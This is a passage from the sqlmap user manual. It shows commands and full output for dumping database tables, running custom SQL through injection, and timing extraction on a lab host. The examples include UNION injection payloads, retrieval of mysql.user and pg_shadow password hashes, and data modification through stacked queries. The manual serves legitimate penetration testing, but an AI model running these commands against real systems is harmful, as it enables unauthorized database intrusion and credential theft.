>     | 3  | wu                                           | ming              |
>     | 4  | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
>     | 5  | NULL                                         | nameisnull        |
>
> +----+----------------------------------------------+-------------------+
>  
[/code]

You can also provide the `-C` option to specify the table column that you want
to enumerate the entries.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump \
>       -T users -D master -C surname -v 0
>  
>     Database: master
>     Table: users
>     [5 entries]
>     +-------------------+
>     | surname           |
>     +-------------------+
>     | blisset           |
>     | bunny             |
>     | ming              |
>     | nameisnull        |
>     | user agent header |
>     +-------------------+
>  
[/code]

sqlmap also stores for each table the dumped entries in a CSV format file. You
can see the absolute path where it stored the dumped tables entries by
providing a verbosity level greater than or equal to 1.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dump \
>       -T users -D public -v 1
>  
>     [...]
>     Database: public
>     Table: users
>     [5 entries]
>
> +----+----------------------------------------------+-------------------+
>     | id | name                                         | surname           |
>
> +----+----------------------------------------------+-------------------+
>     | 1  | luther                                       | blissett          |
>     | 2  | fluffy                                       | bunny             |
>     | 3  | wu                                           | ming              |
>     | 4  | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
>     | 5  |                                              | nameisnull        |
>
> +----+----------------------------------------------+-------------------+
>  
>     [hh:mm:59] [INFO] Table 'public.users' dumped to CSV file
> '/software/sqlmap/output/
>     192.168.1.121/dump/public/users.csv'
>     [...]
>  
>     $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
>     "id","name","surname"
>     "1","luther","blissett"
>     "2","fluffy","bunny"
>     "3","wu","ming"
>     "4","sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)","user agent header"
>     "5","","nameisnull"
>  
[/code]

You can also provide the `--start` and/or the `--stop` options to limit the
dump to a range of entries.

  * `--start` specifies the first entry to enumerate
  * `--stop` specifies the last entry to enumerate

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
>       -T users -D test --start 2 --stop 4 -v 0
>  
>     Database: test
>     Table: users
>     [3 entries]
>
> +----+----------------------------------------------+-------------------+
>     | id | name                                         | surname           |
>
> +----+----------------------------------------------+-------------------+
>     | 2  | fluffy                                       | bunny             |
>     | 3  | wu                                           | ming              |
>     | 4  | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
>
> +----+----------------------------------------------+-------------------+
>  
[/code]

As you can see, sqlmap is very flexible: you can leave it automatically
enumerate the whole database table up to a single column of a specific table
entry.

### Dump all databases tables entries

Options: `--dump-all` and `--exclude-sysdbs`

It is possible to dump all databases tables entries at once.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
>  
>     Database: test
>     Table: users
>     [5 entries]
>
> +----+----------------------------------------------+-------------------+
>     | id | name                                         | surname           |
>
> +----+----------------------------------------------+-------------------+
>     | 1  | luther                                       | blissett          |
>     | 2  | fluffy                                       | bunny             |
>     | 3  | wu                                           | ming              |
>     | 4  | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
>     | 5  | NULL                                         | nameisnull        |
>
> +----+----------------------------------------------+-------------------+
>  
>     Database: information_schema
>     Table: CHARACTER_SETS
>     [36 entries]
>
> +--------------------+----------------------+-----------------------------+--------+
>     | CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION                 | MAXLEN |
>
> +--------------------+----------------------+-----------------------------+--------+
>     | tis620             | tis620_thai_ci       | TIS620 Thai                 | 1      |
>     | macroman           | macroman_general_ci  | Mac West European           | 1      |
>     | dec8               | dec8_swedish_ci      | DEC West European           | 1      |
>     | ujis               | ujis_japanese_ci     | EUC-JP Japanese             | 3      |
>     | eucjpms            | eucjpms_japanese_ci  | UJIS for Windows Japanese   | 3      |
>     | armscii8           | armscii8_general_ci  | ARMSCII-8 Armenian          | 1      |
>     | ucs2               | ucs2_general_ci      | UCS-2 Unicode               | 2      |
>     | hp8                | hp8_english_ci       | HP West European            | 1      |
>     | latin2             | latin2_general_ci    | ISO 8859-2 Central European | 1      |
>     | koi8u              | koi8u_general_ci     | KOI8-U Ukrainian            | 1      |
>     | keybcs2            | keybcs2_general_ci   | DOS Kamenicky Czech-Slovak  | 1      |
>     | ascii              | ascii_general_ci     | US ASCII                    | 1      |
>     | cp866              | cp866_general_ci     | DOS Russian                 | 1      |
>     | cp1256             | cp1256_general_ci    | Windows Arabic              | 1      |
>     | macce              | macce_general_ci     | Mac Central European        | 1      |
>     | sjis               | sjis_japanese_ci     | Shift-JIS Japanese          | 2      |
>     | geostd8            | geostd8_general_ci   | GEOSTD8 Georgian            | 1      |
>     | cp1257             | cp1257_general_ci    | Windows Baltic              | 1      |
>     | cp852              | cp852_general_ci     | DOS Central European        | 1      |
>     | euckr              | euckr_korean_ci      | EUC-KR Korean               | 2      |
>     | cp1250             | cp1250_general_ci    | Windows Central European    | 1      |
>     | cp1251             | cp1251_general_ci    | Windows Cyrillic            | 1      |
>     | binary             | binary               | Binary pseudo charset       | 1      |
>     | big5               | big5_chinese_ci      | Big5 Traditional Chinese    | 2      |
>     | gb2312             | gb2312_chinese_ci    | GB2312 Simplified Chinese   | 2      |
>     | hebrew             | hebrew_general_ci    | ISO 8859-8 Hebrew           | 1      |
>     | koi8r              | koi8r_general_ci     | KOI8-R Relcom Russian       | 1      |
>     | greek              | greek_general_ci     | ISO 8859-7 Greek            | 1      |
>     | cp850              | cp850_general_ci     | DOS West European           | 1      |
>     | utf8               | utf8_general_ci      | UTF-8 Unicode               | 3      |
>     | latin1             | latin1_swedish_ci    | cp1252 West European        | 1      |
>     | latin7             | latin7_general_ci    | ISO 8859-13 Baltic          | 1      |
>     | cp932              | cp932_japanese_ci    | SJIS for Windows Japanese   | 2      |
>     | latin5             | latin5_turkish_ci    | ISO 8859-9 Turkish          | 1      |
>     | swe7               | swe7_swedish_ci      | 7bit Swedish                | 1      |
>     | gbk                | gbk_chinese_ci       | GBK Simplified Chinese      | 2      |
>
> +--------------------+----------------------+-----------------------------+--------+
>  
>     [...]
>  
[/code]

You can also provide the `--exclude-sysdbs` option to exclude all system
databases so that sqlmap will only dump entries of users' databases tables.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all \
>       --exclude-sysdbs -v 0
>  
>     Database: master
>     Table: spt_datatype_info_ext
>     [10 entries]
>     +----------------+-----------------+-----------+-----------+
>     | AUTO_INCREMENT | CREATE_PARAMS   | typename  | user_type |
>     +----------------+-----------------+-----------+-----------+
>     | 0              | length          | char      | 175       |
>     | 0              | precision,scale | numeric   | 108       |
>     | 0              | max length      | varbinary | 165       |
>     | 0              | precision,scale | decimal   | 106       |
>     | 1              | precision       | numeric   | 108       |
>     | 0              | length          | nchar     | 239       |
>     | 0              | max length      | nvarchar  | 231       |
>     | 0              | length          | binary    | 173       |
>     | 0              | max length      | varchar   | 167       |
>     | 1              | precision       | decimal   | 106       |
>     +----------------+-----------------+-----------+-----------+
>  
>     [...]
>  
>     Database: master
>     Table: users
>     [5 entries]
>
> +----+----------------------------------------------+-------------------+
>     | id | name                                         | surname           |
>
> +----+----------------------------------------------+-------------------+
>     | 4  | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
>     | 2  | fluffy                                       | bunny             |
>     | 1  | luther                                       | blisset           |
>     | 3  | wu                                           | ming              |
>     | 5  | NULL                                         | nameisnull        |
>
> +----+----------------------------------------------+-------------------+
>  
>     [...]
>  
[/code]

Note that on Microsoft SQL Server the `master` database is not considered a
system database because some database administrators use it as a users'
database.

### Run your own SQL statement

Options: `--sql-query` and `--sql-shell`

The SQL query and the SQL shell features makes the user able to run custom SQL
statement on the web application's back-end database management. sqlmap
automatically recognize the type of SQL statement provided and choose which
SQL injection technique to use to execute it: if it is a `SELECT` statement it
will retrieve its output through the blind SQL injection or UNION query SQL
injection technique depending on the user's options, otherwise it will execute
the query through the stacked query SQL injection technique if the web
application supports multiple statements on the back-end database management
system.

Examples on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
>       "SELECT 'foo'" -v 1
>  
>     [...]
>     [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
>     [hh:mm:14] [INFO] query: SELECT
> ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
>     (CHAR(32)))
>     [hh:mm:14] [INFO] retrieved: foo
>     [hh:mm:14] [INFO] performed 27 queries in 0 seconds
>     SELECT 'foo':    'foo'
>  
>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
>       "SELECT 'foo', 'bar'" -v 1
>  
>     [...]
>     [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo',
> 'bar''
>     [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap
> will now unpack it into
>     distinct queries to be able to retrieve the output even if we are going
> blind
>     [hh:mm:50] [INFO] query: SELECT
> ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
>     (CHAR(32)))
>     [hh:mm:50] [INFO] retrieved: foo
>     [hh:mm:50] [INFO] performed 27 queries in 0 seconds
>     [hh:mm:50] [INFO] query: SELECT
> ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
>     (CHAR(32)))
>     [hh:mm:50] [INFO] retrieved: bar
>     [hh:mm:50] [INFO] performed 27 queries in 0 seconds
>     SELECT 'foo', 'bar':    'foo, bar'
>  
[/code]

As you can see from this last example, sqlmap splits the query in two
different `SELECT` statement to be able to retrieve the output even when using
the blind SQL injection technique. Otherwise in UNION query SQL injection
technique it only performs a single HTTP request to get the user's query
output:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
>       "SELECT 'foo', 'bar'" -v 1 --union-use
>  
>     [...]
>     [hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo',
> 'bar''
>     [hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with
> NULL bruteforcing
>     technique
>     [hh:mm:03] [INFO] the target url could be affected by an inband sql
> injection vulnerability
>     [hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
>     [hh:mm:03] [INFO] the target url is affected by an exploitable full
> inband sql injection
>     vulnerability
>     [hh:mm:03] [INFO] query:  UNION ALL SELECT NULL,
> (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
>     CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
> VARCHAR(8000)), (CHAR(32)))
>
> +(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
>     CHAR(114)) AS VARCHAR(8000)),
> (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
>     CHAR(116)), NULL-- AND 8373=8373
>     [hh:mm:03] [INFO] performed 3 queries in 0 seconds
>     SELECT 'foo', 'bar' [1]:
>     [*] foo, bar
>  
[/code]

If your `SELECT` statement contains a `FROM` clause, sqlmap asks the user if
such statement can return multiple entries and in such case the tool knows how
to unpack the query correctly to retrieve its whole output entry per entry
when going through blind SQL injection technique. Through UNION query SQL
injection it retrieved the whole output in a single response.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \
>       "SELECT usename FROM pg_user" -v 0
>  
>     [hh:mm:32] [INPUT] can the SQL query provided return multiple entries?
> [Y/n] y
>     [hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries.
> How many entries
>     do you want to retrieve?
>     [a] All (default)
>     [#] Specific number
>     [q] Quit
>     Choice: 2
>     SELECT usename FROM pg_user [2]:
>     [*] postgres
>     [*] testuser
>  
[/code]

As you can see from the last example, sqlmap counted the number of entries for
your query and asks how many entries you want to dump. Otherwise if you
specify also the `LIMIT`, or similar, clause sqlmap will not ask anything, it
just unpacks the query and return its output entry per entry when going
through blind SQL injection technique. Through UNION query SQL injection it
retrieved the whole output in a single response.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query \
>       "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
>  
>     [...]
>     back-end DBMS:  MySQL >= 5.0.0
>  
>     [hh:mm:22] [INFO] fetching SQL SELECT statement query output: 'SELECT
> host, password FROM
>     mysql.user LIMIT 1, 3'
>     [hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap
> will now unpack it
>     into distinct queries to be able to retrieve the output even if we are
> going blind
>     [hh:mm:22] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)),
> CHAR(32)) FROM
>     mysql.user LIMIT 1, 1
>     [hh:mm:22] [INFO] retrieved: localhost
>     [hh:mm:22] [INFO] performed 69 queries in 0 seconds
>     [hh:mm:22] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)),
> CHAR(32)) FROM
>     mysql.user LIMIT 1, 1
>     [hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
>     [hh:mm:24] [INFO] performed 293 queries in 2 seconds
>     [hh:mm:24] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)),
> CHAR(32)) FROM
>     mysql.user LIMIT 2, 1
>     [hh:mm:24] [INFO] retrieved: localhost
>     [hh:mm:25] [INFO] performed 69 queries in 0 seconds
>     [hh:mm:25] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)),
> CHAR(32)) FROM
>     mysql.user LIMIT 2, 1
>     [hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
>     [hh:mm:27] [INFO] performed 293 queries in 2 seconds
>     [hh:mm:27] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)),
> CHAR(32)) FROM
>     mysql.user LIMIT 3, 1
>     [hh:mm:27] [INFO] retrieved: localhost
>     [hh:mm:28] [INFO] performed 69 queries in 0 seconds
>     [hh:mm:28] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)),
> CHAR(32))
>     FROM mysql.user LIMIT 3, 1
>     [hh:mm:28] [INFO] retrieved:
>     [hh:mm:28] [INFO] performed 6 queries in 0 seconds
>     SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
>     [*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
>     [*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
>     [*] localhost,
>  
[/code]

The SQL shell option gives you access to run your own SQL statement
interactively, like a SQL console logged to the back-end database management
system. This feature has TAB completion and history support.

Example of history support on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
>  
>     sql> SELECT 'foo'
>     SELECT 'foo':    'foo'
>  
>     sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow
> key cleans the shell]
>     sql> SELECT version()
>     SELECT version():    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by
> GCC gcc-4.3.real
>     (Ubuntu 4.3.2-1ubuntu11) 4.3.2'
>  
>     sql> exit
>  
>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
>  
>     sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
>     sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
>     [hh:mm:45] [INPUT] does the SQL query that you provide might return
> multiple entries? [Y/n] y
>     [hh:mm:46] [INPUT] the SQL query that you provide can return up to 3
> entries. How many entries
>     do you want to retrieve?
>     [a] All (default)
>     [#] Specific number
>     [q] Quit
>     Choice: 2
>     SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
>     [*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
>     [*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
>  
[/code]

Example of TAB completion on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0
>  
>     sql> [TAB TAB]
>      LIMIT
>     (SELECT super_priv FROM mysql.user WHERE
> user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
>     AND ORD(MID((%s), %d, 1)) > %d
>     CAST(%s AS CHAR(10000))
>     COUNT(%s)
>     CURRENT_USER()
>     DATABASE()
>     IFNULL(%s, ' ')
>     LENGTH(%s)
>     LIMIT %d, %d
>     MID((%s), %d, %d)
>     ORDER BY %s ASC
>     SELECT %s FROM %s.%s
>     SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)
>     SELECT column_name, column_type FROM information_schema.COLUMNS WHERE
> table_name='%s' AND table_schema='%s'
>     SELECT grantee FROM information_schema.USER_PRIVILEGES
>     SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
>     SELECT schema_name FROM information_schema.SCHEMATA
>     SELECT table_schema, table_name FROM information_schema.TABLES
>     SELECT user, password FROM mysql.user
>     SLEEP(%d)
>     VERSION()
>     \s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)
>     sql> SE[TAB]
>     sql> SELECT
>  
[/code]

As you can see the TAB functionality shows the queries defined for the back-
end database management system in sqlmap XML queries file, but you can run
whatever `SELECT` statement that you want.

Example of asterisk expansion on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell \
>       -v 1
>  
>     [...]
>     [hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press
> ENTER
>     sql> SELECT * FROM test.users
>     [hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM
> test.users'
>     [hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap
> will retrieve the
>     column names itself.
>     [hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
>     [hh:mm:48] [INFO] fetching number of columns for table 'users' on
> database 'test'
>     [hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS
> CHAR(10000)), CHAR(32))
>     FROM information_schema.COLUMNS WHERE
> table_name=CHAR(117,115,101,114,115) AND
>     table_schema=CHAR(116,101,115,116)
>     [hh:mm:48] [INFO] retrieved: 3
>     [hh:mm:48] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)),
> CHAR(32)) FROM
>     information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115)
> AND
>     table_schema=CHAR(116,101,115,116) LIMIT 0, 1
>     [hh:mm:48] [INFO] retrieved: id
>     [hh:mm:48] [INFO] performed 20 queries in 0 seconds
>     [hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)),
> CHAR(32)) FROM
>     information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115)
> AND
>     table_schema=CHAR(116,101,115,116) LIMIT 1, 1
>     [hh:mm:48] [INFO] retrieved: name
>     [hh:mm:48] [INFO] performed 34 queries in 0 seconds
>     [hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)),
> CHAR(32)) FROM
>     information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115)
> AND
>     table_schema=CHAR(116,101,115,116) LIMIT 2, 1
>     [hh:mm:48] [INFO] retrieved: surname
>     [hh:mm:48] [INFO] performed 55 queries in 0 seconds
>     [hh:mm:48] [INFO] the query with column names is: SELECT id, name,
> surname FROM test.users
>     [hh:mm:48] [INPUT] can the SQL query provided return multiple entries?
> [Y/n] y
>     [hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)),
> CHAR(32)) FROM test.users
>     [hh:mm:04] [INFO] retrieved: 5
>     [hh:mm:04] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:04] [INPUT] the SQL query that you provide can return up to 5
> entries. How many entries
>     do you want to retrieve?
>     [a] All (default)
>     [#] Specific number
>     [q] Quit
>     Choice: 3
>     [hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query
> output entries
>     [hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)),
> CHAR(32)) FROM test.users
>     ORDER BY id ASC LIMIT 0, 1
>     [hh:mm:09] [INFO] retrieved: 1
>     [hh:mm:09] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)),
> CHAR(32)) FROM test.users
>     ORDER BY id ASC LIMIT 0, 1
>     [hh:mm:09] [INFO] retrieved: luther
>     [hh:mm:09] [INFO] performed 48 queries in 0 seconds
>     [hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)),
> CHAR(32)) FROM test.users
>     ORDER BY id ASC LIMIT 0, 1
>     [hh:mm:09] [INFO] retrieved: blissett
>     [hh:mm:09] [INFO] performed 62 queries in 0 seconds
>     [hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)),
> CHAR(32)) FROM test.users
>     ORDER BY id ASC LIMIT 1, 1
>     [hh:mm:09] [INFO] retrieved: 2
>     [hh:mm:09] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)),
> CHAR(32)) FROM test.users
>     ORDER BY id ASC LIMIT 1, 1
>     [hh:mm:09] [INFO] retrieved: fluffy
>     [hh:mm:09] [INFO] performed 48 queries in 0 seconds
>     [hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)),
> CHAR(32)) FROM test.users
>     ORDER BY id ASC LIMIT 1, 1
>     [hh:mm:09] [INFO] retrieved: bunny
>     [hh:mm:09] [INFO] performed 41 queries in 0 seconds
>     [hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)),
> CHAR(32)) FROM test.users
>     ORDER BY id ASC LIMIT 2, 1
>     [hh:mm:09] [INFO] retrieved: 3
>     [hh:mm:09] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)),
> CHAR(32)) FROM test.users
>     ORDER BY id ASC LIMIT 2, 1
>     [hh:mm:09] [INFO] retrieved: wu
>     [hh:mm:09] [INFO] performed 20 queries in 0 seconds
>     [hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)),
> CHAR(32)) FROM test.users
>     ORDER BY id ASC LIMIT 2, 1
>     [hh:mm:09] [INFO] retrieved: ming
>     [hh:mm:10] [INFO] performed 34 queries in 0 seconds
>     SELECT * FROM test.users [3]:
>     [*] 1, luther, blissett
>     [*] 2, fluffy, bunny
>     [*] 3, wu, ming
>  
[/code]

As you can see in this last example, if the `SELECT` statement has an asterisk
instead of the column\(s\) name, sqlmap first retrieves the column names of
the table then asks if the query can return multiple entries and goes on.

Example of SQL statement other than `SELECT` on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1
>  
>     [...]
>     back-end DBMS: PostgreSQL
>  
>     [10:11:42] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and
> press ENTER
>     sql> SELECT COUNT(name) FROM users
>     [10:11:57] [INFO] fetching SQL SELECT statement query output: 'SELECT
> COUNT(name) FROM users'
>     [10:11:57] [INPUT] can the SQL query provided return multiple entries?
> [Y/n] n
>     [10:11:59] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS
> CHARACTER(10000)), CHR(32))
>     FROM users
>     [10:11:59] [INFO] retrieved: 4
>     [10:11:59] [INFO] performed 13 queries in 0 seconds
>     SELECT COUNT(name) FROM users:    '4'
>  
>     sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql
> shell');
>     [10:12:35] [INFO] testing stacked queries support on parameter 'id'
>     [10:12:40] [INFO] the web application supports stacked queries on
> parameter 'id'
>     [10:12:40] [INFO] executing SQL data manipulation query: 'INSERT INTO
> users (id, name, surname)
>     VALUES (5, 'from', 'sql shell');'
>     [10:12:40] [INFO] done
>     sql> SELECT COUNT(name) FROM users
>     [10:12:51] [INFO] fetching SQL SELECT statement query output: 'SELECT
> COUNT(name) FROM users'
>     [10:12:51] [INPUT] can the SQL query provided return multiple entries?
> [Y/n] n
>     [10:12:53] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS
> CHARACTER(10000)), CHR(32))
>     FROM users
>     [10:12:53] [INFO] retrieved: 5
>     [10:12:54] [INFO] performed 20 queries in 0 seconds
>     SELECT COUNT(name) FROM users:    '5'
>  
[/code]

As you can see from this last example, when the user provides a SQL statement
other than `SELECT`, sqlmap recognizes it, tests if the web application
supports stacked queries and in case it does, it executes the provided SQL
statement in a multiple statement.

Beware that some web application technologies do not support stacked queries
on specific database management systems. For instance, PHP does not support
stacked queries when the back-end DBMS is MySQL, but it does support when the
back-end DBMS is PostgreSQL.

## 5.8 File system access

### Read a file from the back-end DBMS file system

Option: `--read-file`

This paragraph will be written for sqlmap 0.7 stable version, refer to the
white paper Advanced SQL injection to operating system full control for the
moment.

### Write a local file on the back-end DBMS file system

Options: `--write-file` and `--dest-file`

This paragraph will be written for sqlmap 0.7 stable version, refer to the
white paper Advanced SQL injection to operating system full control for the
moment.

## 5.9 Operating system access

### Execute an operating system command

Option: `--os-cmd`

This paragraph will be written for sqlmap 0.7 stable version, refer to the
white paper Advanced SQL injection to operating system full control for the
moment.

### Prompt for an interactive operating system shell

Option: `--os-shell`

This paragraph will be written for sqlmap 0.7 stable version, refer to the
white paper Advanced SQL injection to operating system full control for the
moment.

### Prompt for an out-of-band shell, meterpreter or VNC

Options: `--os-pwn`, `--priv-esc`, `--msf-path` and `--tmp-path`

This paragraph will be written for sqlmap 0.7 stable version, refer to the
white paper Advanced SQL injection to operating system full control for the
moment.

### One click prompt for an out-of-band shell, meterpreter or VNC

Options: `--os-smbrelay`, `--priv-esc` and `--msf-path`

This paragraph will be written for sqlmap 0.7 stable version, refer to the
white paper Advanced SQL injection to operating system full control for the
moment.

### Stored procedure buffer overflow exploitation

Options: `--os-bof`, `--priv-esc` and `--msf-path`

This paragraph will be written for sqlmap 0.7 stable version, refer to the
white paper Advanced SQL injection to operating system full control for the
moment.

## 5.10 Miscellaneous

### Estimated time of arrival

Option: `--eta`

It is possible to calculate and show the estimated time of arrival to retrieve
each query output in real time while performing the SQL injection attack.

Example on an **Oracle XE 10.2.0.1** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b \
>       --eta -v 1
>  
>     [...]
>     back-end DBMS:  Oracle
>  
>     [hh:mm:24] [INFO] fetching banner
>     [hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to
> retrieve the query
>     output again
>     [hh:mm:24] [INFO] retrieved the length of query output: 64
>     [hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)),
> (CHR(32))) FROM v$version
>     WHERE ROWNUM=1
>     77% [=======================================>            ] 49/64  ETA
> 00:00  
>  
[/code]

then:

>
[code]

>     100% [====================================================] 64/64  
>     [hh:mm:15] [INFO] performed 454 queries in 2 seconds
>     banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 -
> Product'
>  
[/code]

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" \
>       --users --eta -v 1
>  
>     [...]
>     back-end DBMS:  Microsoft SQL Server 2000
>  
>     [hh:mm:57] [INFO] fetching database users
>     [hh:mm:57] [INFO] fetching number of database users
>     [hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS
> VARCHAR(8000)),
>     (CHAR(32))) FROM master..syslogins
>     [hh:mm:57] [INFO] retrieved: 3
>     [hh:mm:57] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:57] [INFO] retrieved the length of query output: 22
>     [hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS
> VARCHAR(8000)), (CHAR(32))) FROM
>     master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM
> master..syslogins ORDER BY name)
>     ORDER BY name
>     100% [====================================================] 22/22  
>     [hh:mm:58] [INFO] performed 160 queries in 0 seconds
>     [hh:mm:58] [INFO] retrieved the length of query output: 2
>     [hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS
> VARCHAR(8000)), (CHAR(32))) FROM
>     master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM
> master..syslogins ORDER BY name)
>     ORDER BY name
>     100% [====================================================] 2/2  
>     [hh:mm:59] [INFO] performed 20 queries in 0 seconds
>     [hh:mm:59] [INFO] retrieved the length of query output: 25
>     [hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS
> VARCHAR(8000)), (CHAR(32))) FROM
